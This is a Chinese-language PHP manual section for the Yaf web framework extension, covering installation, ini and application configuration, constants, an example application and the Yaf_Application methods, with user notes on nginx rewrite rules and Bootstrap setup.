    • Yaf_Loader::getNamespacePath — Retieve path of a registered namespace
    • Yaf_Loader::getLocalNamespace — Retrive all register namespaces info
    • Yaf_Loader::import — The import purpose
    • Yaf_Loader::isLocalName — The isLocalName purpose
    • Yaf_Loader::registerLocalNamespace — 注册本地类前缀
    • Yaf_Loader::registerNamespace — Register namespace with searching path
    • Yaf_Loader::setLibraryPath — 改变 library 路径
  • Yaf_Plugin_Abstract — Yaf_Plugin_Abstract 类
    • Yaf_Plugin_Abstract::dispatchLoopShutdown — The dispatchLoopShutdown purpose
    • Yaf_Plugin_Abstract::dispatchLoopStartup — 在调度循环之前的 Hook
    • Yaf_Plugin_Abstract::postDispatch — The postDispatch purpose
    • Yaf_Plugin_Abstract::preDispatch — The preDispatch purpose
    • Yaf_Plugin_Abstract::preResponse — The preResponse purpose
    • Yaf_Plugin_Abstract::routerShutdown — The routerShutdown purpose
    • Yaf_Plugin_Abstract::routerStartup — RouterStartup hook
  • Yaf_Registry — Yaf_Registry 类
    • Yaf_Registry::__construct — Yaf_Registry 实现单例
    • Yaf_Registry::del — 从注册表中移除条目
    • Yaf_Registry::get — 从注册表中检索条目
    • Yaf_Registry::has — 检测条目是否存在
    • Yaf_Registry::set — 向注册表添加条目
  • Yaf_Request_Abstract — Yaf_Request_Abstract 类
    • Yaf_Request_Abstract::clearParams — Remove all params
    • Yaf_Request_Abstract::getActionName — The getActionName purpose
    • Yaf_Request_Abstract::getBaseUri — The getBaseUri purpose
    • Yaf_Request_Abstract::getControllerName — The getControllerName purpose
    • Yaf_Request_Abstract::getEnv — 检索 ENV 变量
    • Yaf_Request_Abstract::getException — The getException purpose
    • Yaf_Request_Abstract::getLanguage — 检索客户端的首选语言
    • Yaf_Request_Abstract::getMethod — 检索请求方法
    • Yaf_Request_Abstract::getModuleName — The getModuleName purpose
    • Yaf_Request_Abstract::getParam — 检索调用的参数
    • Yaf_Request_Abstract::getParams — 获取所有调用的参数
    • Yaf_Request_Abstract::getRequestUri — The getRequestUri purpose
    • Yaf_Request_Abstract::getServer — 检索 SERVER 变量
    • Yaf_Request_Abstract::isCli — 判断请求是否是 CLI 请求
    • Yaf_Request_Abstract::isDispatched — 判断请求是否已发送
    • Yaf_Request_Abstract::isGet — 判断请求是否是 GET 请求
    • Yaf_Request_Abstract::isHead — 判断请求是否是 HEAD 请求
    • Yaf_Request_Abstract::isOptions — 判断请求是否是 OPTIONS 请求
    • Yaf_Request_Abstract::isPost — 判断请求是否是 POST 请求
    • Yaf_Request_Abstract::isPut — 判断请求是否是 PUT 请求
    • Yaf_Request_Abstract::isRouted — 判断请求是否已路由
    • Yaf_Request_Abstract::isXmlHttpRequest — 判断请求是否是 AJAX 请求
    • Yaf_Request_Abstract::setActionName — 设置 action 名
    • Yaf_Request_Abstract::setBaseUri — 设置基础 URI
    • Yaf_Request_Abstract::setControllerName — 设置控制器名
    • Yaf_Request_Abstract::setDispatched — The setDispatched purpose
    • Yaf_Request_Abstract::setModuleName — 设置模块名
    • Yaf_Request_Abstract::setParam — 设置调用参数到请求
    • Yaf_Request_Abstract::setRequestUri — The setRequestUri purpose
    • Yaf_Request_Abstract::setRouted — The setRouted purpose
  • Yaf_Request_Http — The Yaf_Request_Http class
    • Yaf_Request_Http::__construct — Yaf_Request_Http 构造方法
    • Yaf_Request_Http::get — 从客户端检索变量
    • Yaf_Request_Http::getCookie — 检索 Cookie 变量
    • Yaf_Request_Http::getFiles — The getFiles purpose
    • Yaf_Request_Http::getPost — 检索 POST 变量
    • Yaf_Request_Http::getQuery — 获取 query 参数
    • Yaf_Request_Http::getRaw — Retrieve Raw request body
    • Yaf_Request_Http::getRequest — The getRequest purpose
    • Yaf_Request_Http::isXmlHttpRequest — 是否为Ajax请求
  • Yaf_Request_Simple — Yaf_Request_Simple 类
    • Yaf_Request_Simple::__construct — Yaf_Request_Simple 构造方法
    • Yaf_Request_Simple::get — The get purpose
    • Yaf_Request_Simple::getCookie — The getCookie purpose
    • Yaf_Request_Simple::getFiles — The getFiles purpose
    • Yaf_Request_Simple::getPost — The getPost purpose
    • Yaf_Request_Simple::getQuery — The getQuery purpose
    • Yaf_Request_Simple::getRequest — The getRequest purpose
    • Yaf_Request_Simple::isXmlHttpRequest — 判断请求是否是 Ajax 请求
  • Yaf_Response_Abstract — Yaf_Response_Abstract 类
    • Yaf_Response_Abstract::appendBody — 向响应 body 追加内容
    • Yaf_Response_Abstract::clearBody — 丢弃所有已存在的响应 body
    • Yaf_Response_Abstract::clearHeaders — 丢弃所有设置的 header
    • Yaf_Response_Abstract::__construct — The __construct purpose
    • Yaf_Response_Abstract::__destruct — The __destruct purpose
    • Yaf_Response_Abstract::getBody — 获取已存在的内容
    • Yaf_Response_Abstract::getHeader — The getHeader purpose
    • Yaf_Response_Abstract::prependBody — The prependBody purpose
    • Yaf_Response_Abstract::response — 发送响应
    • Yaf_Response_Abstract::setAllHeaders — The setAllHeaders purpose
    • Yaf_Response_Abstract::setBody — 设置内容到响应
    • Yaf_Response_Abstract::setHeader — 设置响应 header
    • Yaf_Response_Abstract::setRedirect — The setRedirect purpose
    • Yaf_Response_Abstract::__toString — 获取字符串形式的所有 body
  • Yaf_Route_Interface — Yaf_Route_Interface 类
    • Yaf_Route_Interface::assemble — 将指定路由规则组合成一个 url
    • Yaf_Route_Interface::route — 路由请求
  • Yaf_Route_Map — Yaf_Route_Map 类
    • Yaf_Route_Map::assemble — 组合url
    • Yaf_Route_Map::__construct — The __construct purpose
    • Yaf_Route_Map::route — The route purpose
  • Yaf_Route_Regex — Yaf_Route_Regex 类
    • Yaf_Route_Regex::assemble — 组合 url
    • Yaf_Route_Regex::__construct — Yaf_Route_Regex 构造方法
    • Yaf_Route_Regex::route — The route purpose
  • Yaf_Route_Rewrite — Yaf_Route_Rewrite 类
    • Yaf_Route_Rewrite::assemble — 组合 url
    • Yaf_Route_Rewrite::__construct — Yaf_Route_Rewrite 构造方法
    • Yaf_Route_Rewrite::route — The route purpose
  • Yaf_Router — Yaf_Router 类
    • Yaf_Router::addConfig — 向 Router 中添加配置文件中定义的路由
    • Yaf_Router::addRoute — 往 Router 中添加新的路由
    • Yaf_Router::__construct — Yaf_Router 构造方法
    • Yaf_Router::getCurrentRoute — 取得当前有效的路由名
    • Yaf_Router::getRoute — 通过名称检索路由
    • Yaf_Router::getRoutes — 检索已注册的路由
    • Yaf_Router::route — The route purpose
  • Yaf_Route_Simple — Yaf_Route_Simple 类
    • Yaf_Route_Simple::assemble — 组合url
    • Yaf_Route_Simple::__construct — Yaf_Route_Simple 构造方法
    • Yaf_Route_Simple::route — 路由请求
  • Yaf_Route_Static — Yaf_Route_Static 类
    • Yaf_Route_Static::assemble — 组合 url
    • Yaf_Route_Static::match — The match purpose
    • Yaf_Route_Static::route — 路由请求
  • Yaf_Route_Supervar — Yaf_Route_Supervar 类
    • Yaf_Route_Supervar::assemble — 组合 url
    • Yaf_Route_Supervar::__construct — The __construct purpose
    • Yaf_Route_Supervar::route — The route purpose
  • Yaf_Session — Yaf_Session 类
    • Yaf_Session::__construct — Yaf_Session 构造方法
    • Yaf_Session::count — The count purpose
    • Yaf_Session::current — The current purpose
    • Yaf_Session::del — The del purpose
    • Yaf_Session::__get — The __get purpose
    • Yaf_Session::getInstance — The getInstance purpose
    • Yaf_Session::has — The has purpose
    • Yaf_Session::__isset — The __isset purpose
    • Yaf_Session::key — The key purpose
    • Yaf_Session::next — The next purpose
    • Yaf_Session::offsetExists — The offsetExists purpose
    • Yaf_Session::offsetGet — The offsetGet purpose
    • Yaf_Session::offsetSet — The offsetSet purpose
    • Yaf_Session::offsetUnset — The offsetUnset purpose
    • Yaf_Session::rewind — The rewind purpose
    • Yaf_Session::__set — The __set purpose
    • Yaf_Session::start — The start purpose
    • Yaf_Session::__unset — The __unset purpose
    • Yaf_Session::valid — The valid purpose
  • Yaf_Exception — Yaf_Exception 类
    • Yaf_Exception::__construct — The __construct purpose
    • Yaf_Exception::getPrevious — The getPrevious purpose
  • Yaf_Exception_TypeError — Yaf_Exception_TypeError 类
  • Yaf_Exception_StartupError — Yaf_Exception_StartupError 类
  • Yaf_Exception_DispatchFailed — Yaf_Exception_DispatchFailed 类
  • Yaf_Exception_RouterFailed — Yaf_Exception_RouterFailed 类
  • Yaf_Exception_LoadFailed — Yaf_Exception_LoadFailed 类
  • Yaf_Exception_LoadFailed_Module — Yaf_Exception_LoadFailed_Module 类
  • Yaf_Exception_LoadFailed_Controller — Yaf_Exception_LoadFailed_Controller 类
  • Yaf_Exception_LoadFailed_Action — Yaf_Exception_LoadFailed_Action 类
  • Yaf_Exception_LoadFailed_View — Yaf_Exception_LoadFailed_View 类

User Contributed Notes

498936940 at qq dot com 20-Sep-2018 12:28
YAF based on the actual case:Hooks、Event、Modules、Plugins、Multiple templates、Multiple languages、SQL Centralized Management...
Support Electric Business Platform、OA、ERP、IaaS、PaaS、SaaS、Blog、Cms...
Common features required by any platform: User、Acl、Menu...

https://github.com/letwang/HookPHP


简介

Yet Another Framework (Yaf) 扩展是一个用来开发 web 应用程序的 PHP 框架。

可以在 » Yaf Performance 中找到简单的 Yaf 基准测试。

快速入门请参见教程部分。

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/yaf.

此扩展在 Windows 平台的二进制扩展 (DLL 文件) PECL 可以在 PECL 官方网站上下载。

User Contributed Notes

Anonymous 04-May-2021 06:56
A new PPA repo has been updated to the latest Yaf.
Available on Ubuntu 18.04, 20.04, 20.10, and 21.04

> sudo add-apt-repository ppa:mikespook/php-yaf
> sudo apt-get update
> sudo apt-get install php-yaf
vick dot qi at yahoo dot com 05-Aug-2016 05:05
PHP 5.4.X-5.6.X should intall yaf version 2.3.4
qbhust at gmail dot com 26-Sep-2015 03:29
Yaf can be installed from source code by:

cd /path/to/yaf-src/
phpize
./configure
make
sudo make install
mikespook at gmail dot com 04-Dec-2013 09:49
Install PHP-YAF to Ubuntu from PPA:

> sudo add-apt-repository ppa:mikespook/php5-yaf
> sudo apt-get update
> sudo apt-get install php5-yaf
alex at corretge dot cat 17-Apr-2013 02:22
Yaf is an PECL extension, thus you can simply install it by:

pecl install yaf


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Yaf 配置选项
名字 | 默认 | 可修改范围 | 更新日志
yaf.library |  | PHP_INI_ALL |
yaf.action_prefer | 0 | PHP_INI_ALL |
yaf.lowcase_path | 0 | PHP_INI_ALL |
yaf.use_spl_autoload | 0 | PHP_INI_ALL |
yaf.forward_limit | 5 | PHP_INI_ALL |
yaf.name_suffix | 1 | PHP_INI_ALL |
yaf.name_separator |  | PHP_INI_ALL |
yaf.cache_config | 0 | PHP_INI_SYSTEM |
yaf.environ | product | PHP_INI_SYSTEM |
yaf.use_namespace | 0 | PHP_INI_SYSTEM |

这是配置指令的简短说明。

yaf.library string

全局库路径，Yaf_loader 会在此目录下搜索全局库。

yaf.action_prefer int

If there is only one part in PATH_INFO, should it consider as a controller or action.

如果此配置为 On，将视为 Action 名。

yaf.lowcase_path int

Whether lowercase all the path during the class autoloading.

yaf.use_spl_autoload int

When this value is On, if Yaf_Loader can not find a class, it will return false, then give chance to other auto load function to be called.

When this value is Off, if Yaf_Loader can not find a class, it will return true, and make the class autoloading failed immediately.

Note:

Yaf will register its loader during a instantiation of Yaf_Application, so any other auto loaders which is register before the instantiation will be called before Yaf_Loader::autoload().

When this value is Off(default), Yaf_Loader::autoload() will always return true.

yaf.forward_limit int

The max forward count, default is 5. that means you can have a max value of 5 in the forward stack.

This is a protection for prevent recursive Yaf_Controller_Abstract::forward().

yaf.name_suffix int

When this On, Yaf_Loader will identify a class by it's suffix to decide whether it is a MVC Class.

When this Off, Yaf_Loader will look at the prefix of the class name.

yaf.name_separator string

When this is not empty, Yaf_Loader will identify the class suffix and string value of this.

For example, when this value is "_", Yaf_Loader will take Index_Controller as a Controller Class, IndexController as a normal class.

yaf.cache_config int

If this is On, and in the meantime you are using ini config file as the parameter of Yaf_Application(), the compiling result of the ini config file will be cached in the PHP process.

Note:

Yaf examine the mtime of the ini file, if it was changed since last compiling, Yaf will reload it.

Warning

Yaf use the ini file path as the cache entry key, so do use the absolute path in ini file path, otherwise there might be some conflicts if two application use the same relative path of ini config.

yaf.environ string

默认值是"product"，用于 Yaf 获取 ini 配置文件中的配置部分。

That is, if this value is "product", Yaf will use the section named "product" in the ini config file(the first parameter of the Yaf_Application) as the final config of the Yaf_Application.

yaf.use_namespace int

如果值为 On，Yaf 的所有类都将以命名空间样式命名。

例如：

Yaf_Route_Rewrite => \Yaf\Route\Rewrite
Yaf_Request_Http  => \Yaf\Request\Http
有个例外，就是像 Yaf_Controller_Abstract 这样的类。最后部分是 PHP 的关键字，不能用作类名，对于这样的类，只能：
Yaf_Controller_Abstract => \Yaf\Controller_Abstract
Yaf_Route_Static => \Yaf\Route_Static

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

YAF_VERSION (string)
YAF_ENVIRON (string)
YAF_ERR_STARTUP_FAILED (int)
YAF_ERR_ROUTE_FAILED (int)
YAF_ERR_DISPATCH_FAILED (int)
YAF_ERR_AUTOLOAD_FAILED (int)
YAF_ERR_NOTFOUND_MODULE (int)
YAF_ERR_NOTFOUND_CONTROLLER (int)
YAF_ERR_NOTFOUND_ACTION (int)
YAF_ERR_NOTFOUND_VIEW (int)
YAF_ERR_CALL_FAILED (int)
YAF_ERR_TYPE_ERROR (int)

User Contributed Notes

lee dot howarth dot 90 at gmail dot com 03-Apr-2014 07:59
The documentation here is not fully correct.

<?php

    print_r(get_defined_constants());
   die;

?>

Will show basically:

  [PHP_YAF_VERSION] => 2.3.2
    [YAF_ENVIRON] => product
    [YAF_ERR_STARTUP_FAILED] => 512
    [YAF_ERR_ROUTE_FAILED] => 513
    [YAF_ERR_DISPATCH_FAILED] => 514
    [YAF_ERR_AUTOLOAD_FAILED] => 520
    [YAF_ERR_NOTFOUND_MODULE] => 515
    [YAF_ERR_NOTFOUND_CONTROLLER] => 516
    [YAF_ERR_NOTFOUND_ACTION] => 517
    [YAF_ERR_NOTFOUND_VIEW] => 518
    [YAF_ERR_CALL_FAILED] => 519
    [YAF_ERR_TYPE_ERROR] => 521

So use PHP_YAF_VERSION instead of just YAF_VERSION


示例

Example #1 一个典型的应用目录结构

- index.php
- .htaccess
+ conf
  |- application.ini //application config
- application/
  - Bootstrap.php
  + controllers
     - Index.php //default controller
  + views
     |+ index
        - index.phtml //view template for default action
  + modules
  - library
  - models
  - plugins

Example #2 入口文件

顶层目录下的 index.php 是整个应用的唯一入口，应该把所有请求都重定向到这个文件（在 Apache + php_mod 模式下可以使用 .htaccess）。

<?php
define("APPLICATION_PATH", dirname(__FILE__));

$app = new Yaf_Application(APPLICATION_PATH . "/conf/application.ini");
$app->bootstrap() //call bootstrap methods defined in Bootstrap.php
->run();
?>

Example #3 重写规则

#for apache (.htaccess)
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule .* index.php

#for nginx
server {
  listen ****;
  server_name  domain.com;
  root   document_root;
  index  index.php index.html index.htm;

  if (!-e $request_filename) {
    rewrite ^/(.*)  /index.php$1 last;
  }
}

#for lighttpd
$HTTP["host"] =~ "(www.)?domain.com$" {
  url.rewrite = (
     "^/(.+)/?$"  => "/index.php/$1",
  )
}

Example #4 应用配置文件

[yaf]
;APPLICATION_PATH is the constant defined in index.php
application.directory=APPLICATION_PATH "/application/"

;product section inherit from yaf section
[product:yaf]
foo=bar

Example #5 默认控制器

<?php
class IndexController extends Yaf_Controller_Abstract {
/* default action */
public function indexAction() {
$this->_view->word = "hello world";
//or
// $this->getView()->word = "hello world";
}
}
?>

Example #6 默认视图文件

<html>
<head>
<title>Hello World</title>
</head>
<body>
<?php echo $word;?>
 </body>
</html>

Example #7 运行应用

以上示例的输出类似于：

<html>
 <head>
   <title>Hello World</title>
 </head>
 <body>
   hello world
 </body>
</html>

Note:

在 yaf@github 上有 Yaf 代码生成器，你也可以用它来生成上面的例子。

User Contributed Notes

498936940 at qq dot com 07-Aug-2021 07:43
PHP8 Yaf3.3.3 按照官网配置 导致Nginx死循环：

rewrite or internal redirection cycle while processing "/index.phpindex.phpindex.......

解决：
Example #3 Rewrite rule

#for nginx
server {
  listen ****;
  server_name  domain.com;
  root   document_root;
  index  index.php index.html index.htm;

  if (!-e $request_filename) {
    rewrite ^/(.*)  /index.php?$1 last;
  }
}

唯一的变化，是 多出1个 ？问号
YangQingRong at wudimei dot com 30-Jul-2020 12:07
nginx重写不知为什么死循环

rewrite ^/(.*)  /index.php/$1 last;

/index.php/index.php/index.php/index.php/index.php/index.php/index.php/index.php/Index

后来我改成查询字符串就解决了。

location / {

            index index.php index.html index.htm;
            if (!-e $request_filename){
               rewrite ^/(.*)$ /index.php?_path_info=/$1 last;
            }
        }

在index.php中，把query string "_path_info" 放到$_SERVER变量中。
<?php
ini_set("display_errors",true);
error_reporting(E_ALL|E_ERROR);

//print_r($_SERVER);

$_SERVER['PATH_INFO']=@$_GET['_path_info']; //加这一行，yaf只认PATH_INFO

define("APPLICATION_PATH",dirname(__DIR__));

$app = new Yaf\Application(APPLICATION_PATH.'/conf/application.ini');

$app->bootstrap()->run();

?>
YangQingRong at wudimei dot com 30-Jul-2020 12:07
nginx重写不知为什么死循环

rewrite ^/(.*)  /index.php/$1 last;

/index.php/index.php/index.php/index.php/index.php/index.php/index.php/index.php/Index

后来我改成查询字符串就解决了。

location / {

            index index.php index.html index.htm;
            if (!-e $request_filename){
               rewrite ^/(.*)$ /index.php?_path_info=/$1 last;
            }
        }

在index.php中，把query string "_path_info" 放到$_SERVER变量中。
<?php
ini_set("display_errors",true);
error_reporting(E_ALL|E_ERROR);

//print_r($_SERVER);

$_SERVER['PATH_INFO']=@$_GET['_path_info']; //加这一行，yaf只认PATH_INFO

define("APPLICATION_PATH",dirname(__DIR__));

$app = new Yaf\Application(APPLICATION_PATH.'/conf/application.ini');

$app->bootstrap()->run();

?>
498936940 at qq dot com 13-Jul-2018 05:42
YAF based on the actual case:Hooks、Event、Modules、Plugins、Multiple templates、Multiple languages、SQL Centralized Management...
Support Electric Business Platform、OA、ERP、IaaS、PaaS、SaaS、Blog、Cms...
Common features required by any platform: User、Acl、Menu...

https://github.com/letwang/HookPHP
yeszao at qq dot com 15-Apr-2016 02:10
I success in "application" directory set to:

- application/
  - Bootstrap.php
  + modules
    + Index
      + controllers
         - Index.php         //default controller
      + views
         |+ index
            - index.phtml   //view template for default action
  - library
  - models
  - plugins

And Bootstrap.php should be enter at least 3 line like these:

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract {
}
zhaozhi406 at 163 dot com 03-Dec-2015 04:09
the nginx rewrite rule should be:

if (!-e $request_filename) {
       rewrite ^/(.*)  /index.php?$1 last;
}
fatih dot akgun at hotmail dot be 09-Jul-2015 08:17
Alternative

you can generate the example above by using Yaf Code Generator: https://github.com/laruence/php-yaf/tree/master/tools/cg
jshawcx at gmail dot com 13-Mar-2015 03:15
use  nginx  and php-fpm   you can   config:

    location / {
        try_files $uri    $uri/    /index.php$is_args$args;
        }

        location ~ \.php$ {
                fastcgi_pass   127.0.0.1:9000;
               #fastcgi_pass unix:/tmp/php-cgi.sock;
                fastcgi_index  index.php;
            fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include        fastcgi_params;
        }
winston 11-Mar-2015 04:30
When you use nginx & php-fpm config for yaf frame, you must set PATH_INFO support in nginx. Otherwise, it will not work.
Demo :
location / {
  try_files $uri $uri/ @path_rw;
}

#path_info is needed by some php frameworks like yaf/thinkphp
location @path_rw {
  rewrite ^/(.*)$  /index.php/$1 last;
}

location ~ \.php {
  fastcgi_pass unix:/dev/shm/php-cgi.sock;
  fastcgi_index index.php;
  include fastcgi.conf;

  fastcgi_split_path_info ^(.+?\.php)(/.+)$;
  fastcgi_param SCRIPT_FILENAME   $document_root$fastcgi_script_name;
  fastcgi_param SCRIPT_NAME $fastcgi_script_name;
  fastcgi_param PATH_INFO $fastcgi_path_info;
}
Li Min 31-Oct-2013 06:26
http://us3.php.net/manual/zh/yaf.tutorials.php

Lost default Bootstrap.php

<?php
   /* bootstrap class should be defined under ./application/Bootstrap.php */
   class Bootstrap extends Yaf_Bootstrap_Abstract {
        public function _initConfig(Yaf_Dispatcher $dispatcher) {
            var_dump(__METHOD__);
        }
        public function _initPlugin(Yaf_Dispatcher $dispatcher) {
            var_dump(__METHOD__);
        }
   }


应用程序配置

应该为 Yaf_Application::__construct() 提供配置数组或者 ini 配置文件（参阅 Yaf_Config_Ini）路径。

Yaf 将会自动合并应用程序配置和用户配置。应用程序配置有前缀"yaf."或"application."。如果"yaf."和"application."同时存在，将会优先接受"application."。

Example #1 PHP 数组示例

<?php
$configs = array(
"application" => array(
"directory" => dirname(__FILE__),
"dispatcher" => array(
"catchException" => 0,
),
"view" => array(
"ext" => "phtml",
),
),
);
$app = new Yaf_Application($configs);
?>

Example #2 ini 文件示例

[yaf]
yaf.directory = APPLICATION_PATH "/appliation"
yaf.dispatcher.catchException = 0

[product : yaf]
; user configuration list here

Yaf 应用程序配置
名字 | 默认 | 更新日志
application.directory |  |
application.ext | "php" |
application.view.ext | "phtml" |
application.modules | "index" |
application.library | application.directory . "/library" |
application.library.directory | application.directory . "/library" |
application.library.namespace | "" |
application.bootstrap | application.directory . "/Bootstrap" . application.ext |
application.baseUri | "" |
application.dispatcher.defaultRoute |  |
application.dispatcher.throwException | 1 |
application.dispatcher.catchException | 0 |
application.dispatcher.defaultModule | "index" |
application.dispatcher.defaultController | "index" |
application.dispatcher.defaultAction | "index" |
application.system |  |

这是配置指令的简短说明。

application.directory string

应用程序的目录，文件夹包含"controllers"、"views"、"models"、"plugins"。

Note:

此为唯一没有默认值的配置条目，应该始终手动定义它。

application.ext string

PHP 脚本的扩展名，类的自动加载需要（Yaf_Loader）。

application.view.ext string

视图模板脚本的文件扩展名。

application.modules string

注册的模块列表，以逗号分隔，用于路由处理，特别是当PATH_INFO超过三段的时候，

Yaf需要用它来判断第一段是否是一个模块。

application.library string

本地类库的目录，参见 Yaf_Loader 和 yaf.library。

Note:

Yaf 2.1.6 以后，该配置项可以是数组。类库的路径将尝试使用 application.library.directory 中设置的条目。

application.library.directory string

Alias of application.library. Introduced in Yaf 2.1.6

application.library.namespace string

逗号分隔的本地类库命名空间前缀。

Yaf2.1.6以后加入

application.bootstrap string

Bootstrap类脚本文件的绝对路径。

application.baseUri string

路由处理中需要忽略的路径前缀。举个例子，请求"/prefix/controller/action"时。如果你将application.baseUri设置为"/prefix"，那么只有"/controller/action"会被当做路由路径。

通常不需要设置此值。

application.dispatcher.throwException bool

如果设置为 On，Yaf 会在发生错误的地方抛出异常。参见 Yaf_Dispatcher::throwException()。

application.dispatcher.catchException bool

如果设置为 On，当在存在未处理的异常时，Yaf 将转发到 Error controller/Action。参见 Yaf_Dispatcher::catchException()。

application.dispatcher.defaultRoute string

默认路由，如果未指定，默认使用静态路由。参见 Yaf_Router::addRoute()。

application.dispatcher.defaultModule string

默认模块名，参见 Yaf_Dispatcher::setDefaultModule()。

application.dispatcher.defaultController string

默认控制器名，参见 Yaf_Dispatcher::setDefaultController()。

application.dispatcher.defaultAction string

默认动作名，参见 Yaf_Dispatcher::setDefaultAction()。

application.system string

在application.ini中设置Yaf运行时配置，如： application.system.lowcase_path

Note:

仅有PHP_INI_ALL配置项能这样设置

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Application 类

(No version information available, might only be in Git)

简介

Yaf_Application 为应用提供了一个辅助设施。 它提供了可重用的资源，常见的和模块化的引导类，还有依赖的检查。

Note:

Yaf_Application 实现了单例模式。 Yaf_Application 不能够被序列化和反序列化， 因为当你尝试使用 PHPUnit 来为 Yaf 写一些测试用例的时候会造成一些不必要的麻烦。

你可以使用 PHPUnit 的 @backupGlobals 注释来控制全局变量的备份和恢复操作， 从而可以解决这个问题。

类摘要

final class Yaf_Application {
/* 属性 */
protected $config;
protected $dispatcher;
protected static $_app;
protected $_modules;
protected $_running;
protected $_environ;
/* 方法 */
public __construct(mixed $config, string $envrion = ?)
public staticapp(): mixed
public bootstrap(Yaf_Bootstrap_Abstract $bootstrap = ?): void
public clearLastError(): Yaf_Application
public environ(): void
public execute(callable $entry, string ...$args): void
public getAppDirectory(): Yaf_Application
public getConfig(): Yaf_Config_Abstract
public getDispatcher(): Yaf_Dispatcher
public getLastErrorMsg(): string
public getLastErrorNo(): int
public getModules(): array
public run(): void
public setAppDirectory(string $directory): Yaf_Application
public __destruct()
}

属性

config

dispatcher

_app

_modules

_running

_environ

Table of Contents

  • Yaf_Application::app — 检索 Application 实例
  • Yaf_Application::bootstrap — 调用 bootstrap
  • Yaf_Application::clearLastError — 清除最后的错误信息
  • Yaf_Application::__construct — Yaf_Application 的构造函数
  • Yaf_Application::__destruct — __destruct 函数
  • Yaf_Application::environ — 检索环境名
  • Yaf_Application::execute — 运行回调
  • Yaf_Application::getAppDirectory — 获取应用的目录
  • Yaf_Application::getConfig — 获取 Yaf_Config_Abstract 的实例
  • Yaf_Application::getDispatcher — 获取 Yaf_Dispatcher 的实例
  • Yaf_Application::getLastErrorMsg — 获取最近产生的错误的错误信息
  • Yaf_Application::getLastErrorNo — 获取最后产生的错误的错误代码
  • Yaf_Application::getModules — 获取定义的模块名
  • Yaf_Application::run — 运行 Yaf_Application
  • Yaf_Application::setAppDirectory — 改变应用目录

User Contributed Notes

There are no user contributed notes for this page.


检索 Application 实例

  • ? Yaf_Application
  • Yaf_Application::bootstrap ?
  • PHP Manual
  • Yaf_Application
  • 检索 Application 实例

Yaf_Application::app

(Yaf >=1.0.0)

Yaf_Application::app — 检索 Application 实例

说明

public staticYaf_Application::app(): mixed

检索 Yaf_Application 实例。也可以使用 Yaf_Dispatcher::getApplication()。

参数

此函数没有参数。

返回值

Yaf_Application 实例，Yaf_Application 没有初始化之前，返回 null。

参见

  • Yaf_Dispatcher::getApplication() - 检索应用程序

User Contributed Notes

There are no user contributed notes for this page.


调用 bootstrap

  • ? Yaf_Application::app
  • Yaf_Application::clearLastError ?
  • PHP Manual
  • Yaf_Application
  • 调用 bootstrap

Yaf_Application::bootstrap

(Yaf >=1.0.0)

Yaf_Application::bootstrap — 调用 bootstrap

说明

public Yaf_Application::bootstrap(Yaf_Bootstrap_Abstract $bootstrap = ?): void

运行 Bootstrap，所有在 Bootstrap 中定义并以"_init"前缀命名的方法都将按照声明的顺序调用，如果没有提供参数 bootstrap，Yaf 将在 application.directory 下寻找 Bootstrap。

参数

bootstrap

Yaf_Bootstrap_Abstract 实例

返回值

Yaf_Application 实例

示例

Example #1 Bootstrap() 示例

<?php
/**
* This file should be under the APPLICATION_PATH . "/application/"(which was defined in the config passed to Yaf_Application).
* and named Bootstrap.php, so the Yaf_Application can find it
*/
class Bootstrap extends Yaf_Bootstrap_Abstract {
function _initConfig(Yaf_Dispatcher $dispatcher) {
echo "1st called\n";
}

function _initPlugin($dispatcher) {
echo "2nd called\n";
}
}
?>

Example #2 Yaf_Application::bootstrap() 示例

<?php

defined('APPLICATION_PATH') // APPLICATION_PATH will be used in the ini config file
|| define('APPLICATION_PATH', __DIR__);

$application = new Yaf_Application(APPLICATION_PATH.'/conf/application.ini');
$application->bootstrap();
?>

以上示例的输出类似于：

1st called
2nd called

参见

  • Yaf_Bootstrap_Abstract

User Contributed Notes

brandon at brandonlamb dot com 29-Dec-2011 08:50
Here is an example of a Bootstrap loading a session class then loading a database class and using a db configuration from the application config.

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract
{
    public function _initSession(Yaf_Dispatcher $dispatcher)
    {
        $session = new Vendor\Session();
        $session->start();
    }

    public function _initDatabase(Yaf_Dispatcher $dispatcher)
    {
        $config = Yaf_Application::app()->getConfig()->application->database;
        Yaf_Registry::set('db', Vendor\Database($config));
    }
}
?>


清除最后的错误信息

  • ? Yaf_Application::bootstrap
  • Yaf_Application::__construct ?
  • PHP Manual
  • Yaf_Application
  • 清除最后的错误信息

Yaf_Application::clearLastError

(Yaf >=2.1.2)

Yaf_Application::clearLastError — 清除最后的错误信息

说明

public Yaf_Application::clearLastError(): Yaf_Application

参数

此函数没有参数。

返回值

示例

Example #1 Yaf_Application::clearLastError() 示例

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
Yaf_Application::app()->clearLastError();
var_dump(Yaf_Application::app()->getLastErrorNo());
}

$config = array(
"application" => array(
"directory" => "/tmp/notexists",
"dispatcher" => array(
"throwException" => 0, //trigger error instead of throw exception when error occure
),
),
);

$app = new Yaf_Application($config);
$app->getDispatcher()->setErrorHandler("error_handler", E_RECOVERABLE_ERROR);
$app->run();
?>

以上示例的输出类似于：

int(0)

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Application 的构造函数

  • ? Yaf_Application::clearLastError
  • Yaf_Application::__destruct ?
  • PHP Manual
  • Yaf_Application
  • Yaf_Application 的构造函数

Yaf_Application::__construct

(Yaf >=1.0.0)

Yaf_Application::__construct — Yaf_Application 的构造函数

说明

public Yaf_Application::__construct(mixed $config, string $envrion = ?)

初始化一个 Yaf_Application.

参数

config

关联数组的配置, 或者一个指向 ini 格式的配置文件的路径的字符串。

如果是一个 ini 配置文件，那配置文件中应该有一个定义了 yaf.environ 的配置节。这个在生产环境中是默认的。

Note:

如果你使用了 ini 配置文件作为你应用配置的容器，你需要打开 yaf.cache_config 来提升性能。

And the config entry(and there default value) list blow:

Example #1 A ini config file example

[product]
